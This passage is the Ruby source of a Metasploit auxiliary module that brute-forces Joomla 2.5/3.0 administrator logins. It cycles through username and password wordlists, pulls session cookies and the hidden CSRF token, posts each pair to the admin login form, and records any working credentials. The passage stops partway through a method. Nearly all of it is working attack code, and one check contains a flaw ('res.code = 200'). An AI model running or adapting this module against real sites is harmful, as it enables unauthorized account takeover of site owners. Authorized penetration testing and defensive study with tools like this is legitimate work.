## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Joomla Bruteforce Login Utility', 'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks', 'Author' => 'luisco100[at]gmail.com', 'References' => [ ['CVE', '1999-0502'] # Weak password Joomla ], 'License' => MSF_LICENSE ) register_options( [ OptPath.new('USERPASS_FILE', [false, 'File containing users and passwords separated by space, one pair per line', File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')]), OptPath.new('USER_FILE', [false, 'File containing users, one per line', File.join(Msf::Config.data_directory, 'wordlists', "http_default_users.txt")]), OptPath.new('PASS_FILE', [false, 'File containing passwords, one per line', File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')]), OptString.new('AUTH_URI', [true, 'The URI to authenticate against', '/administrator/index.php']), OptString.new('FORM_URI', [true, 'The FORM URI to authenticate against' , '/administrator']), OptString.new('USER_VARIABLE', [true, 'The name of the variable for the user field', 'username']), OptString.new('PASS_VARIABLE', [true, 'The name of the variable for the password field' , 'passwd']), OptString.new('WORD_ERROR', [true, 'The word of message for detect that login fail', 'mod-login-username']) ]) register_autofilter_ports([80, 443]) end def find_auth_uri if datastore['AUTH_URI'] && datastore['AUTH_URI'].length > 0 paths = [datastore['AUTH_URI']] else paths = %w( / /administrator/ ) end paths.each do |path| begin res = send_request_cgi( 'uri' => path, 'method' => 'GET' ) rescue ::Rex::ConnectionError next end next unless res if res.redirect? && res.headers['Location'] && res.headers['Location'] !~ /^http/ path = res.headers['Location'] vprint_status("#{rhost}:#{rport} - Following redirect: #{path}") begin res = send_request_cgi( 'uri' => path, 'method' => 'GET' ) rescue ::Rex::ConnectionError next end next unless res end return path end nil end def target_url proto = 'http' if rport == 443 || ssl proto = 'https' end "#{proto}://#{rhost}:#{rport}#{@uri}" end def run_host(ip) vprint_status("#{rhost}:#{rport} - Searching Joomla authentication URI...") @uri = find_auth_uri unless @uri vprint_error("#{rhost}:#{rport} - No URI found that asks for authentication") return end @uri = "/#{@uri}" if @uri[0, 1] != '/' vprint_status("#{target_url} - Attempting to login...") each_user_pass do |user, pass| do_login(user, pass) end end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: (ssl ? 'https' : 'http'), protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def do_login(user, pass) vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") response = do_web_login(user, pass) result = determine_result(response) if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect) return :abort if datastore['STOP_ON_SUCCESS'] return :next_user else vprint_error("#{target_url} - Failed to login as '#{user}'") return end end def do_web_login(user, pass) user_var = datastore['USER_VARIABLE'] pass_var = datastore['PASS_VARIABLE'] referer_var = "http://#{rhost}/administrator/index.php" vprint_status("#{target_url} - Searching Joomla Login Response...") res = login_response unless res && res.code = 200 && !res.get_cookies.blank? vprint_error("#{target_url} - Failed to find Joomla Login Response") return nil end vprint_status("#{target_url} - Searching Joomla Login Form...") hidden_value = get_login_hidden(res) if hidden_value.nil? vprint_error("#{target_url} - Failed to find Joomla Login Form") return nil end vprint_status("#{target_url} - Searching Joomla Login Cookies...") cookie = get_login_cookie(res) if cookie.blank? vprint_error("#{target_url} - Failed to find Joomla Login Cookies") return nil end vprint_status("#{target_url} - Login with cookie ( #{cookie} ) and Hidden ( #{hidden_value}=1 )") res = send_request_login( 'user_var' => user_var, 'pass_var' => pass_var, 'cookie' => cookie, 'referer_var' => referer_var, 'user' => user, 'pass' => pass, 'hidden_value' => hidden_value ) if res vprint_status("#{target_url} - Login Response #{res.code}") if res.redirect? && res.headers['Location'] path = res.headers['Location'] vprint_status("#{target_url} - Following redirect to #{path}...") res = send_request_raw( 'uri' => path, 'method' => 'GET', 'cookie' => "#{cookie}" ) end end return res rescue ::Rex::ConnectionError vprint_error("#{target_url} - Failed to connect to the web server") return nil end def send_request_login(opts = {}) res = send_request_cgi( 'uri' => @uri, 'method' => 'POST', 'cookie' => "#{opts['cookie']}", 'headers' => { 'Referer' => opts['referer_var'] }, 'vars_post' => { opts['user_var'] => opts['user'], opts['pass_var'] => opts['pass'], 'lang' => '', 'option' => 'com_login', 'task' => 'login', 'return' => 'aW5kZXgucGhw', opts['hidden_value'] => 1 } ) res end def determine_result(response) return :abort unless response.kind_of?(Rex::Proto::Http::Response) return :abort unless response.code if [200, 301, 302].include?(response.code) if response.to_s.include?(datastore['WORD_ERROR']) return :fail else return :success end end :fail end def login_response uri = normalize_uri(datastore['FORM_URI']) res = send_request_cgi!('uri' => uri, 'method' => 'GET') res end def get_login_cookie(res) return nil unless res.kind_of?(Rex::Proto::Http::Response) res.get_cookies end def get_login_hidden(res) return nil unless res.kind_of?(Rex::Proto::Http::Response) return nil if res.body.blank? vprint_status("#{target_url} - Testing Joomla 2.5 Form...") form = res.body.split(/